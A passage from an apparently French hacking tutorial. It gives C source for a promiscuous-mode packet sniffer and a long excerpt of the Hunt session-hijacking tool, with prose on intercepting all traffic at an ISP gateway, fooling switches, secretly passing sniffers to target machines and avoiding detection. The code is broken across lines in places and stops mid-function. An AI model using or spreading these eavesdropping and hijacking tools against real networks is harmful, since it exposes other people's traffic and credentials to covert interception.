if( (s=open("/dev/tty",O_RDWR))>0 ) {
ioctl(s,TIOCNOTTY,(char *)NULL);
close(s);
}
}
fprintf(LOG,"\nLog started
at => %s [pid %d]\n",NOWtm(),getpid());
fflush(LOG);
do_it();
}
#define BUFLEN 8192
#define ETHLINKHDR 14
print_data(int count, char *buff)
{
int i,j,c;
int printnext=1;
if(count)
{
if(count%16)
c=count+(16-count%16);
else c=count;
}
else
c=count;
for(i=0;i<c;i++)
{
if(printnext) { printnext--; printf("%.4x
",i&0xffff); }
if(i<count)
printf("%3.2x",buff[i]&0xff);
else
printf(" ");
if(!((i+1)%8))
if((i+1)%16)
printf(" -");
else
{
printf("
");
for(j=i-15;j<=i;j++)
if(j<count)
{
if( (buff[j]&0xff)
>= 0x20 &&
(buff[j]&0xff)<=0x7e)
printf("%c",buff[j]&0xff);
else printf(".");
} else printf("
");
printf("\n"); printnext=1;
}
}
}
int
initdevice(device, pflag)
char *device;
int pflag;
{
#define PROTO htons(0x0800) /*
Ethernet code for IP protocol */
int if_fd=0;
struct ifreq ifr;
if ( (if_fd=socket(AF_INET,SOCK_PACKET,PROTO))
< 0 ) {
perror("Can't get socket");
exit(2);
}
strcpy(ifr.ifr_name, device);
/* interface we're gonna use */
if( ioctl(if_fd, SIOCGIFFLAGS, &ifr)
< 0 ) { /* get flags */
close(if_fd);
perror("Can't get flags");
exit(2);
}
#if 1
if ( pflag )
ifr.ifr_flags |= IFF_PROMISC;
/* set promiscuous mode */
else
ifr.ifr_flags &= ~(IFF_PROMISC);
#endif
if( ioctl(if_fd, SIOCSIFFLAGS, &ifr)
< 0 ) { /* set flags */
close(if_fd);
perror("Can't set flags");
exit(2);
}
return if_fd;
}
struct etherpacket {
struct ethhdr eth;
struct iphdr ip;
struct tcphdr tcp;
char data[8192];
};
main()
{
int linktype;
int if_eth_fd=initdevice("eth0",1);
#if 0
int if_ppp_fd=initdevice("sl0",1);
#endif
struct etherpacket ep;
struct sockaddr dest;
struct iphdr *ip;
struct tcphdr *tcp;
struct timeval timeout;
fd_set rd,wr;
int dlen;
#if 0
struct slcompress *slc=slhc_init(64,64);
#endif
for(;;)
{
bzero(&dest,sizeof(dest));
dlen=0;
FD_ZERO(&rd);
FD_ZERO(&wr);
FD_SET(if_eth_fd,&rd);
#if 0
FD_SET(if_ppp_fd,&rd);
#endif
timeout.tv_sec=0;
timeout.tv_usec=0;
ip=(struct iphdr *)(((unsigned long)&ep.ip)-2);
tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2);
while(timeout.tv_sec==0 &&
timeout.tv_usec==0)
{
timeout.tv_sec=10;
timeout.tv_usec=0;
select(20,&rd,&wr,NULL,&timeout);
if(FD_ISSET(if_eth_fd,&rd))
{
printf("eth\n");
recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen);
}
#if 0
else
if(FD_ISSET(if_ppp_fd,&rd))
{
recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen);
printf("ppp\n");
}
#endif
}
printf("proto: %.4x",ntohs(ep.eth.h_proto));
#if 0
if(ep.eth.h_proto==ntohs(8053))
{
slhc_uncompress(slc,&ep,sizeof(ep));
}
#endif
if(ep.eth.h_proto==ntohs(ETH_P_IP))
{
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->",
ep.eth.h_source[0],ep.eth.h_source[1],
ep.eth.h_source[2],ep.eth.h_source[3],
ep.eth.h_source[4],ep.eth.h_source[5]);
printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x
",
ep.eth.h_dest[0],ep.eth.h_dest[1],
ep.eth.h_dest[2],ep.eth.h_dest[3],
ep.eth.h_dest[4],ep.eth.h_dest[5]);
printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));
printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));
print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),
ep.data-2);
}
}
}
Maintenant que vous savez comment fonctionne voyons quel avantage nous pouvons en tirer: sur un réseau local, qui est connecté à Internet par un serveur (tête de réseau), il suffit de placer un sniffer sur cette même tête de réseau pour que les packets transitant vers lui puis de lui vers le net, soient interceptés. Si vous ne voyez absolument pas ce que celà représente, imaginez un réseau de 500 ordinateurs ou de 500 pc représentés par une adresse IP. Par exemple un ISP quelquonque: les packets peuvent transiter vers lui, et vous vous interceptez chaque packet envoyé par ces 500 machines. EN quelques heures, votre disque dur est mort, rempli. Il existe des sniffers qui font un filtrage d'IP. Appuyez vous sur ce fait ou bien ne filez ces sniffers qu'aux machines visées. ATTENTION: des méthodes de protections ont été élaborées, surtout au niveau du sniffing. Refilez un sniffer et faites vous repérer risque de vous apporter de grosses emmerdes. Il se peut aussi que les packets envoyés par X ordinateur soit crypté, il vous faudra trouver comment les décrypter, de plus ces sniffers ne marchent que quand il y a un hub.
Cas du switch:
Le switch est intelligent; il se comporte de la manière suivante: Quand une machine A veut envoyer quelquechose à la machine C le switch fait passer la trame directement à la machine C sans passer par la machine B à l'instar du hub. C'est là qu'intervient Hunt. Ce programme permet de faire croire au switch que vous êtes la machine C. Bien entendu celà demande à connaitre l'adresse de la machine C. A partir de là, vous récupérez le packet
Et ça va même encore plus loin...:
De plus Hunt, après avoir récupéré le packet, peut l'envoyer à la machine C: ni vu ni connu, voilà qu'un réseau est mis sous surveillance.
Mais:
N'oublions pas que si Hunt permet de récupérer les packets destinés à UNE machine, Hunt ne permet aps l'écoute de tout le réseau à cause du switch.
Infos:
Actuellement Hunt v1.4 est disponible. Celui-ci fonctionne sur: Linux 2.2, GlibC 2.1 with LinuxThreads, Ethernet
Pour les plus curieux d'entre vous, voici le code source de Hunt:
/*
*
* This is free software. You can redistribute
it and/or modify under
* the terms of the GNU General Public License
version 2.
*
* Copyright (C) 1998 by kra
*
*/
#include "hunt.h"
#include <sys/types.h>
#include <sys/time.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <assert.h>
#ifndef IP_OFFMASK
#define IP_OFFMASK 0x1fff
#endif
#ifndef IP_MF
#define IP_MF 0x2000
#endif
int linksock = -1;
int mac_learn_from_ip = 0;
int conn_list_mac = 0;
int conn_list_seq = 0;
struct hash conn_table;
struct hash mac_table;
int hunt_ready = 0;
pthread_mutex_t mutex_hunt_ready = PTHREAD_MUTEX_INITIALIZER;
pthread_cond_t cond_hunt_ready = PTHREAD_COND_INITIALIZER;
/*
* list of struct packet_info with information
which packets skip in process
* of updating connection
*/
struct list l_skip_update = LIST_INIT(struct
packet_info, next);
/*
* lists of functions which pass packets
to modules
*/
struct list l_ifunc_ip = LIST_INIT(struct ifunc_item,
next_ip);
struct list l_ifunc_tcp = LIST_INIT(struct ifunc_item,
next_tcp);
struct list l_ifunc_udp = LIST_INIT(struct ifunc_item,
next_udp);
struct list l_ifunc_icmp = LIST_INIT(struct ifunc_item,
next_icmp);
struct list l_ifunc_arp = LIST_INIT(struct ifunc_item,
next_arp);
struct list l_ifunc_fast_tcp = LIST_INIT(struct
ifunc_item, next_tcp);
/*
*
* packet operations
*
*/
static struct list l_packets = LIST_INIT(struct
packet, p_next_free);
int packets_allocated = 0;
struct packet *packet_new(void)
{
struct packet *p;
if (!(p = list_pop(&l_packets))) {
if (!(p = malloc(sizeof(struct packet))))
{
perror("malloc");
return NULL;
}
pthread_mutex_init(&p->p_mutex, NULL);
p->p_use_count = 0;
p->p_hdr.p_tcph = NULL;
p->p_data = NULL;
p->p_type = PACKET_NONE;
p->p_ipc = 0;
p->p_ipc_arg = NULL;
packets_allocated++;
}
p->p_use_count = 1;
return p;
}
void packet_copy_data(struct packet *dst, struct
packet *src)
{
memcpy(dst->p_raw, src->p_raw, src->p_raw_len);
dst->p_raw_len = src->p_raw_len;
dst->p_type = src->p_type;
dst->p_ethh = (struct ethhdr *)(dst->p_raw
+
((char *)src->p_ethh - src->p_raw));
dst->p_iph = (struct iphdr *)(dst->p_raw
+
((char *)src->p_iph - src->p_raw));
dst->p_arph = (struct arphdr *)(dst->p_raw
+
((char *)src->p_arph - src->p_raw));
dst->p_hdr.p_tcph = (struct tcphdr *)(dst->p_raw
+
((char *)src->p_hdr.p_tcph
- src->p_raw));
dst->p_data_len = src->p_data_len;
dst->p_data = dst->p_raw + (src->p_data
- src->p_raw);
memcpy(dst->p_arg, src->p_arg, sizeof(src->p_arg));
dst->p_ipc = src->p_ipc;
dst->p_ipc_arg = src->p_ipc_arg;
}
void packet_free(struct packet *p)
{
int is_free;
pthread_mutex_lock(&p->p_mutex);
if (--p->p_use_count == 0)
is_free = 1;
else
is_free = 0;
pthread_mutex_unlock(&p->p_mutex);
if (is_free)
list_push(&l_packets, p);
}
void packet_want(struct packet *p)
{
pthread_mutex_lock(&p->p_mutex);
++p->p_use_count;
pthread_mutex_unlock(&p->p_mutex);
}
void packet_flush(struct list *l)
{
struct packet *p;
while ((p = list_pop(l)))
packet_free(p);
}
void packet_preallocate(int count)
{
struct packet **p = alloca(count * sizeof(struct
packet *));
int i;
for (i = 0; i < count; i++)
p[i] = packet_new();
for (i = 0; i < count; i++)
packet_free(p[i]);
}
int packet_count(void)
{
return list_count(&l_packets);
}
/*
*
* TCP connection database
*
*/
static inline void fill_uci(struct user_conn_info
*uci, struct packet *p)
{
uci->src_addr = p->p_iph->saddr;
uci->dst_addr = p->p_iph->daddr;
uci->src_port = p->p_hdr.p_tcph->source;
uci->dst_port = p->p_hdr.p_tcph->dest;
}
#if 0
static int ht_eq(unsigned int key, struct conn_info
*c,
struct packet *p)
{
if (c->src_addr == p->p_iph->saddr &&
c->dst_addr == p->p_iph->daddr
&&
c->src_port == p->p_hdr.p_tcph->source
&&
c->dst_port == p->p_hdr.p_tcph->dest)
return 1;
if (c->src_addr == p->p_iph->daddr &&
c->dst_addr == p->p_iph->saddr
&&
c->src_port == p->p_hdr.p_tcph->dest
&&
c->dst_port == p->p_hdr.p_tcph->source)
return 1;
return 0;
}
#endif
static int ht_eq(unsigned int key, struct conn_info
*c,
struct user_conn_info *uci)
{
if (c->src_addr == uci->src_addr &&
c->dst_addr == uci->dst_addr
&&
c->src_port == uci->src_port
&&
c->dst_port == uci->dst_port)
return 1;
if (c->src_addr == uci->dst_addr &&
c->dst_addr == uci->src_addr
&&
c->src_port == uci->dst_port
&&
c->dst_port == uci->src_port)
return 1;
return 0;
}
void remove_conn_if_dont_match(void)
{
struct hash_iterator hi;
struct conn_info *ci;
unsigned int key;
int count_to_remove = 0;
unsigned int *key_to_remove;
struct conn_info **ci_to_remove;
hash_lock(&conn_table);
count_to_remove = 0;
key_to_remove = alloca(sizeof(unsigned
int) * hash_count(&conn_table));
ci_to_remove = alloca(sizeof(struct conn_info
*) * hash_count(&conn_table));
hash_iter_set(&hi, &conn_table);
while ((ci = hash_iter_get(&hi, &key)))
{
if (!conn_add_match(ci->src_addr, ci->dst_addr,
ci->src_port, ci->dst_port)) {
ci_to_remove[count_to_remove] =
ci;
key_to_remove[count_to_remove++]
= key;
}
}
hash_iter_end(&hi);
for ( ; count_to_remove >= 0; count_to_remove--)
hash_remove(&conn_table, key_to_remove[count_to_remove],
ci_to_remove[count_to_remove]);
hash_unlock(&conn_table);
}
void conn_free(struct conn_info *ci)
{
int free_it;
pthread_mutex_lock(&ci->mutex);
if (--ci->use_count == 0)
free_it = 1;
else
free_it = 0;
pthread_mutex_unlock(&ci->mutex);
if (free_it)
free(ci);
}
struct conn_info *conn_get(struct user_conn_info
*uci)
{
unsigned int key;
struct conn_info *ci;
key = uci_generate_key(uci);
hash_lock(&conn_table);
if ((ci = hash_get(&conn_table, key,
uci))) {
pthread_mutex_lock(&ci->mutex);
++ci->use_count;
pthread_mutex_unlock(&ci->mutex);
}
hash_unlock(&conn_table);
return ci;
}
int conn_exist(struct user_conn_info *uci)
{
unsigned int key;
struct conn_info *ci;
key = uci_generate_key(uci);
if ((ci = hash_get(&conn_table, key,
uci)))
return 1;
else
return 0;
}
static int packet_match(struct packet_info *pi,
struct packet *p)
{
struct iphdr *iph = p->p_iph;
struct tcphdr *tcph = p->p_hdr.p_tcph;
if (pi->src_addr == iph->saddr &&
pi->dst_addr == iph->daddr
&&
pi->src_port == tcph->source
&&
pi->dst_port == tcph->dest
&&
pi->src.next_seq ==
tcph->seq &&
pi->src.next_d_seq ==
tcph->ack_seq &&
memcmp(pi->src.src_mac,
p->p_ethh->h_source, ETH_ALEN) == 0 &&
memcmp(pi->src.dst_mac,
p->p_ethh->h_dest, ETH_ALEN) == 0)
return 1;
else
return 0;
}
static int conn_skip_update(struct conn_info *ci,
struct packet *p)
{
struct list_iterator iter;
struct packet_info *pi;
list_iter_set(&iter, &l_skip_update);
while ((pi = list_iter_get(&iter)))
{
if (packet_match(pi, p)) {
list_iter_end(&iter);
list_remove(&l_skip_update,
pi);
return 1;
}
}
list_iter_end(&iter);
return 0;
}
static void __conn_add(struct packet *p, unsigned
int key)
{
struct iphdr *iph = p->p_iph;
struct tcphdr *tcph = p->p_hdr.p_tcph;
struct conn_info *ci;
struct host_info *h_src, *h_dst;
ci = malloc(sizeof(struct conn_info));
assert(ci);
memset(ci, 0, sizeof(struct conn_info));
ci->use_count = 1;
pthread_mutex_init(&ci->mutex, NULL);
if (ntohs(tcph->dest) >= 1024 &&
ntohs(tcph->source) < 1024) {
ci->src_addr = iph->daddr;
ci->dst_addr = iph->saddr;
ci->src_port = tcph->dest;
ci->dst_port = tcph->source;
h_src = &ci->dst;
h_dst = &ci->src;
} else {
ci->src_addr = iph->saddr;
ci->dst_addr = iph->daddr;
ci->src_port = tcph->source;
ci->dst_port = tcph->dest;
h_src = &ci->src;
h_dst = &ci->dst;
}
h_src->next_seq = htonl(ntohl(tcph->seq)
+ p->p_data_len +
tcph->syn ? 1 : 0);
if (tcph->ack)
h_src->next_d_seq = tcph->ack_seq;
h_src->window = tcph->window;
h_src->id = iph->id;
memcpy(h_src->dst_mac, p->p_ethh->h_dest,
ETH_ALEN);
memcpy(h_src->src_mac, p->p_ethh->h_source,
ETH_ALEN);
/* guess or try to fill h_dst too */
h_dst->next_seq = h_src->next_d_seq;
h_dst->next_d_seq = h_src->next_seq;
h_dst->window = tcph->window;
h_dst->id = iph->id;
memcpy(h_dst->dst_mac, h_src->src_mac,
ETH_ALEN);
memcpy(h_dst->src_mac, h_src->dst_mac,
ETH_ALEN);
hash_put(&conn_table, key, ci);
print_new_conn_ind(1);
}
static void ack_storm_notify(struct conn_info
*ci, struct user_conn_info *uci)
{
struct timeval tv;
int print_it = 0;
if (!ci->ack_storm_notify_sec) {
gettimeofday(&tv, NULL);
print_it = 1;
} else {
gettimeofday(&tv, NULL);
if (tv.tv_sec - ci->ack_storm_notify_sec
>= 10)
print_it = 1;
}
if (print_it) {
set_tty_color(COLOR_BRIGHTRED);
printf("\nhunt: possible ACK storm: ");
print_user_conn_info(uci, 1);
set_tty_color(COLOR_LIGHTGRAY);
ci->ack_storm_notify_sec = tv.tv_sec;
}
}
static void conn_add_update(struct packet *p)
{
static struct user_conn_info last_toadd
= {0, 0, 0, 0};
static int last_count = 0;
unsigned int key;
struct conn_info *ci;
struct user_conn_info uci;
unsigned int old_next_d_seq;
fill_uci(&uci, p);
key = uci_generate_key(&uci);
hash_lock(&conn_table);
if ((ci = hash_get(&conn_table, key,
&uci)) &&
ht_eq(key, ci, &uci)
== 1) {
if (!conn_skip_update(ci, p)) {
struct host_info *h_src, *h_dst;
struct iphdr *iph = p->p_iph;
struct tcphdr *tcph = p->p_hdr.p_tcph;
if (ci->src_addr == iph->saddr &&
ci->dst_addr
== iph->daddr &&
ci->src_port
== tcph->source &&
ci->dst_port
== tcph->dest) {
h_src = &ci->src;
h_dst = &ci->dst;
} else {
h_src = &ci->dst;
h_dst = &ci->src;
}
old_next_d_seq = h_src->next_d_seq;
h_src->next_seq = htonl(ntohl(tcph->seq)
+
p->p_data_len);
if (tcph->ack)
h_src->next_d_seq = tcph->ack_seq;
h_src->id = iph->id; /* well, this
should be in IP updater not in TCP */
h_src->window = tcph->window;
/* well these can change too :-)
*/
memcpy(h_src->dst_mac, p->p_ethh->h_dest,
ETH_ALEN);
memcpy(h_src->src_mac, p->p_ethh->h_source,
ETH_ALEN);
/*
* ACK storm detection
*/
h_src->delta_d_seq += ntohl(h_src->next_d_seq)
-
ntohl(old_next_d_seq);
if (++ci->update_count % 400 ==
0) {
if (ci->src.delta_d_seq ==
0 &&
ci->dst.delta_d_seq
== 0) {
ack_storm_notify(ci,
&uci);
} else {
ci->src.delta_d_seq
= 0;
ci->dst.delta_d_seq
= 0;
}
}
}
} else {
/* test if we could add the connection
*/
if (p->p_data_len > 0) {
/*
* well, it contains data -
add it
*/
if (conn_add_policy(p->p_iph, p->p_hdr.p_tcph))
__conn_add(p, key);
} else {
/*
* well, check it this way
because we don't want
* to add RST, ACK to FIN,
... as connectinos.
*/
if ((last_toadd.src_addr == p->p_iph->saddr
&&
last_toadd.dst_addr
== p->p_iph->daddr &&
last_toadd.src_port
== p->p_hdr.p_tcph->source &&
last_toadd.dst_port
== p->p_hdr.p_tcph->dest) ||
(last_toadd.src_addr
== p->p_iph->daddr &&
last_toadd.dst_addr
== p->p_iph->saddr &&
last_toadd.src_port
== p->p_hdr.p_tcph->dest &&
last_toadd.dst_port
== p->p_hdr.p_tcph->source)) {
if (++last_count >= 10) {
last_count = 0;
if (conn_add_policy(p->p_iph,
p->p_hdr.p_tcph))
__conn_add(p,
key);
}
} else {
last_count = 0;
last_toadd.src_addr = p->p_iph->saddr;
last_toadd.dst_addr = p->p_iph->daddr;
last_toadd.src_port = p->p_hdr.p_tcph->source;
last_toadd.dst_port = p->p_hdr.p_tcph->dest;
}
}
}
hash_unlock(&conn_table);
}
static void conn_del(struct packet *p)
{
struct conn_info *ci;
struct user_conn_info uci;
unsigned int key;
int remove_it = 0;
#if 0
fill_uci(&uci, p);
key = uci_generate_key(&uci);
if ((ci = hash_remove(&conn_table,
key, &uci))) {
conn_free(ci);
}
#endif
fill_uci(&uci, p);
key = uci_generate_key(&uci);
hash_lock(&conn_table);
if ((ci = hash_get(&conn_table, key,
&uci)) &&
ht_eq(key, ci, &uci)
== 1) {
if (!conn_skip_update(ci, p)) {
if (p->p_iph->saddr == ci->src_addr
&&
p->p_iph->daddr
== ci->dst_addr &&
p->p_hdr.p_tcph->source
== ci->src_port &&
p->p_hdr.p_tcph->dest
== ci->dst_port) {
/* from source to dest */
if
(p->p_hdr.p_tcph->seq == ci->dst.next_d_seq)
remove_it = 1;
} else {
/* from dest to source */
if (p->p_hdr.p_tcph->seq ==
ci->src.next_d_seq)
remove_it = 1;
}
}
}
if (remove_it) {
if (ci == hash_remove(&conn_table,
key, &uci))
conn_free(ci);
hash_unlock(&conn_table);
} else {
hash_unlock(&conn_table);
conn_add_update(p);
}
}
static void conn_add(struct packet *p)
{
struct conn_info *ci;
struct user_conn_info uci;
unsigned int key;
fill_uci(&uci, p);
key = uci_generate_key(&uci);
hash_lock(&conn_table);
if ((ci = hash_get(&conn_table, key,
&uci)) &&
ht_eq(key, ci, &uci)
== 1) {
conn_add_update(p);
#if 0
ci = hash_remove(&conn_table,
key, &uci);
hash_unlock(&conn_table);
conn_free(ci);
hash_lock(&conn_table);
#endif
} else {
__conn_add(p, key);
}
hash_unlock(&conn_table);
}
static void conn_update_table(struct packet *p,
struct ethhdr *ethh, struct iphdr *iph)
{
struct tcphdr *tcph = p->p_hdr.p_tcph;
if (tcph->syn && !tcph->ack) {
if (conn_add_policy(iph, tcph)) {
conn_add(p);
}
} else if (tcph->rst || tcph->fin) {
#if 0
if (conn_add_policy(iph, tcph))
#endif
conn_del(p);
} else {
#if 0
if (conn_add_policy(iph, tcph))
#endif
conn_add_update(p);
}
}
/*
*
* function lists
*
*/
static void process_tcp(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;
list_iter_set(&iter, &l_ifunc_tcp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}
static void process_udp(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;
list_iter_set(&iter, &l_ifunc_udp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}
static void process_icmp(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;
list_iter_set(&iter, &l_ifunc_icmp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}
static void process_arp(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;
list_iter_set(&iter, &l_ifunc_arp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}
static void process_ip(struct packet *p)
{
struct ifunc_item *li;
struct list_iterator iter;
list_iter_set(&iter, &l_ifunc_ip);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
}
/*
* sample of ifunc
*/
#if 0
struct list m_packet_list = LIST_INIT(struct
packet, p_next[MODULE_NR]);
void m_func_tcp(struct packet *p)
{
if (want_it) {
packet_want(p);
list_produce(&m_packet_list, p);
}
}
#endif
static inline void fast_tcp_process(struct packet
*p)
{
struct list_iterator iter;
struct ifunc_item *li;
list_lock(&l_ifunc_fast_tcp);
list_iter_set(&iter, &l_ifunc_fast_tcp);
while ((li = list_iter_get(&iter)))
li->func(p, li->arg);
list_iter_end(&iter);
list_unlock(&l_ifunc_fast_tcp);
}
static void mac_table_update(unsigned int ip,
char *mac)
{
struct mac_info *mi;
hash_lock(&mac_table);
if ((mi = hash_get(&mac_table, ip,
NULL))) {
if (memcmp(mi->mac, mac, sizeof(mi->mac)))
{
pthread_mutex_lock(&mi->mutex);
memcpy(mi->mac, mac, sizeof(mi->mac));
pthread_mutex_unlock(&mi->mutex);
}
} else {
mi = malloc(sizeof(struct mac_info));
assert(mi);
memcpy(mi->mac, mac, sizeof(mi->mac));
pthread_mutex_init(&mi->mutex, NULL);
hash_put(&mac_table, ip, mi);
}
hash_unlock(&mac_table);
}
struct mac_info *mac_info_get(unsigned int ip)
{
struct mac_info *mi;
hash_lock(&mac_table);
if ((mi = hash_get(&mac_table, ip,
NULL))) {
pthread_mutex_lock(&mi->mutex);
}
hash_unlock(&mac_table);
return mi;
}
void mac_info_release(struct mac_info *mi)
{
pthread_mutex_unlock(&mi->mutex);
}
static void mac_arp_learn(struct packet *p)
{
unsigned int ip;
char *mac;
struct arpeth_hdr *arpethh;
arpethh = (struct arpeth_hdr *)(p->p_arph + 1);
if (p->p_arph->ar_op == htons(ARPOP_REPLY)
||
p->p_arph->ar_op ==
htons(ARPOP_REQUEST)) {
ip = *(unsigned int *) arpethh->ar_sip;
mac = arpethh->ar_sha;
if (memcmp(mac, p->p_ethh->h_source, ETH_ALEN)
== 0)
mac_table_update(ip, mac);
else
fprintf(stderr, "ARP: MAC src !=
ARP src for host %s\n", host_lookup(ip, hl_mode));
}
}
static void mac_ip_learn(struct packet *p)
{
unsigned int ip;
char *mac;
ip = p->p_iph->saddr;
mac = p->p_ethh->h_source;
mac_table_update(ip, mac);
/*
* well, don't learn mac addresses from
dst as they can be spoofed
* (even though check can be made)
*/
}
/*
*
* hunt
*
*/
unsigned int pkts_received = 0;
unsigned int pkts_dropped = 0;
unsigned int pkts_unhandled = 0;
unsigned int bytes_received = 0;
void *hunt(void *arg)
{
struct packet *p;
struct ethhdr *ethh;
struct iphdr *iph;
#ifdef WITH_RECVMSG
struct msghdr msg;
struct sockaddr_pkt spkt;
struct iovec iov;
#endif
pthread_sigmask(SIG_BLOCK, &intr_mask,
NULL);
if (verbose)
printf("hunt pid %d\n", getpid());
add_telnet_rlogin_policy();
if (hash_init(&conn_table, 100, (hash_equal_func)ht_eq))
{ /* Initialize hash table of connections */
perror("hash_init");
exit(1);
}
if (hash_init(&mac_table, 100, NULL))
{
perror("hash init");
exit(1);
}
linksock = tap(eth_device, 1);
/* Setup link socket */
if (linksock < 0) {
perror("linksock");
exit(1);
}
packet_preallocate(64);
printf("starting hunt\n");
setpriority(PRIO_PROCESS, getpid(), -20);
pthread_mutex_lock(&mutex_hunt_ready);
hunt_ready = 1;
pthread_cond_signal(&cond_hunt_ready);
pthread_mutex_unlock(&mutex_hunt_ready);
while(1) {
if (!(p = packet_new())) {
fprintf(stderr, "can't get free
packet - out of memory\n");
exit(1);
}
#ifdef WITH_RECVMSG
memset(&msg, 0, sizeof(msg));
msg.msg_name = &spkt;
msg.msg_namelen = sizeof(spkt);
msg.msg_iovlen = 1;
msg.msg_iov = &iov;
iov.iov_base = p->p_raw;
iov.iov_len = sizeof(p->p_raw);
if ((p->p_raw_len = recvmsg(linksock,
&msg, 0)) >= 0)
#else
if ((p->p_raw_len = recv(linksock, p->p_raw,
sizeof(p->p_raw), 0)) > 0)
#endif
{
pkts_received++;
bytes_received += p->p_raw_len;
/*
* don't do continue or break
without packet_free !!
*/
if (p->p_raw_len < 14) {
pkts_dropped++;
goto cont;
}
ALIGNPOINTERS_ETH(p, ethh);
p->p_ethh = ethh;
/*
* in order to speed thinks
as mutch as posible for arp stuff
* the timestamp is moved to
swtich p->p_timestamp = time(NULL);
*/
p->p_timestamp = 0;
switch (ntohs(ethh->h_proto)) {
case ETH_P_IP:
p->p_timestamp = time(NULL);
if (p->p_raw_len < 14 +
20) {
pkts_dropped++;
goto cont;
}
ALIGNPOINTERS_IP(ethh, iph);
p->p_iph = iph;
if (in_cksum((unsigned short *) iph,
IP_HDR_LENGTH(iph)) == 0) {
if (mac_learn_from_ip)
mac_ip_learn(p);
process_ip(p);
/* drop IP fragments and ip
packet len > p_raw_len */
if ((ntohs(iph->frag_off)
& IP_OFFMASK) != 0 ||
(ntohs(iph->frag_off)
& IP_MF) ||
(IP_HDR_LENGTH(iph)
+ IP_DATA_LENGTH(iph)) > p->p_raw_len) {
pkts_dropped++;
goto cont;
}
switch (iph->protocol) {
case
IPPROTO_TCP:
if (p->p_raw_len <
14 + IP_HDR_LENGTH(iph) + 20) {
pkts_dropped++;
goto cont;
}
p->p_type = PACKET_TCP;
ALIGNPOINTERS_TCP(iph,
p->p_hdr.p_tcph,
p->p_data);
p->p_data_len = TCP_DATA_LENGTH(iph,
p->p_hdr.p_tcph);
if (ip_in_cksum(iph,
(unsigned short *) p->p_hdr.p_tcph,
IP_DATA_LENGTH(iph)) == 0) {
conn_update_table(p,
ethh, iph);
fast_tcp_process(p);
process_tcp(p);
} else
pkts_dropped++;
break;
case
IPPROTO_UDP:
if (p->p_raw_len <
14 + IP_HDR_LENGTH(iph) + 8) {
pkts_dropped++;
goto cont;
}
p->p_type = PACKET_UDP;
ALIGNPOINTERS_UDP(iph,
p->p_hdr.p_udph,
p->p_data);
/* check the UDP checksum
*/
process_udp(p);
break;
case
IPPROTO_ICMP:
if (p->p_raw_len <
14 + IP_HDR_LENGTH(iph) + 8) {
pkts_dropped++;
goto cont;
}
p->p_type = PACKET_ICMP;
ALIGNPOINTERS_ICMP(iph,
p->p_hdr.p_icmph,
p->p_data);
if (in_cksum((unsigned
short *) p->p_hdr.p_icmph,
IP_DATA_LENGTH(iph)) == 0) {
process_icmp(p);
} else
pkts_dropped++;
break;
default:
pkts_unhandled++;
break;
}
} else
pkts_dropped++; /* bad
IP checksum */
break;
case ETH_P_ARP:
if (p->p_raw_len < 14 +
28) {
pkts_dropped++;
goto cont;
}
p->p_type = PACKET_ARP;
ALIGNPOINTERS_ARP(ethh, p->p_arph);
/* do process arp first -
in order to do it as fast
as posible
arpspoof needs it */
process_arp(p);
p->p_timestamp = time(NULL);
/* well, the process_arp does not get timestamp */
mac_arp_learn(p);
break;
default:
pkts_unhandled++;
break;
}
}
cont:
packet_free(p);
}
return NULL;
}
/*
*
* helper functions
*
*/
void print_tcp(struct iphdr *ip, struct tcphdr
*tcp)
{
fprintf(stdout,
"%s [%d] seq=(%u) ack=(%u)\t--->\t%s [%d]\n",
host_lookup(ip->saddr,
hl_mode), ntohs(tcp->source),
(unsigned
int) ntohl(tcp->seq), tcp->ack ? (unsigned int) ntohl(tcp->ack_seq) : 0,
host_lookup(ip->daddr,
hl_mode), ntohs(tcp->dest));
}
static int fill_space_to(char *b, int pos, int
where)
{
if (pos >= 0 && pos < where)
{
return sprintf(b, "%*s", where - pos,
"");
} else
return 0;
}
int conn_list(struct user_conn_info **ruci, char
**rbuf, int with_mac, int with_seq)
{
struct hash_iterator iter;
struct conn_info *ci;
struct user_conn_info *uci;
int i, count;
char *b, *b_old, *buf;
hash_lock(&conn_table);
count = hash_count(&conn_table);
if (!count) {
hash_unlock(&conn_table);
if (ruci)
*ruci = NULL;
if (rbuf)
*rbuf = NULL;
return 0;
}
if (rbuf) {
buf = malloc(count * 512);
assert(buf);
b = buf;
} else
b = buf = NULL;
if (ruci) {
uci = malloc(count * sizeof(struct user_conn_info));
assert(uci);
} else
uci = NULL;
i = 0;
hash_iter_set(&iter, &conn_table);
while ((ci = hash_iter_get(&iter, NULL))
&& i < count) {
if (b) {
b_old = b;
b += sprintf(b, "%d) %s [%s]", i,
host_lookup(ci->src_addr, hl_mode),
port_lookup(ci->src_port, hl_mode));
b += fill_space_to(b, b - b_old,
30);
b += sprintf(b, " --> ");
b += sprintf(b, "%s [%s]\n",
host_lookup(ci->dst_addr, hl_mode),
port_lookup(ci->dst_port, hl_mode));
if (with_seq) {
b_old = b;
b += sprintf(b, "
seq=(%u) ack=(%u)",
(unsigned int) ntohl(ci->src.next_seq),
(unsigned int) ntohl(ci->src.next_d_seq));
b += fill_space_to(b, b -
b_old, 45);
b += sprintf(b, " seq=(%u)
ack=(%u)\n",
(unsigned int) ntohl(ci->dst.next_seq),
(unsigned int) ntohl(ci->dst.next_d_seq));
}
if (with_mac) {
b_old = b;
b += sprintf(b, "
src mac=");
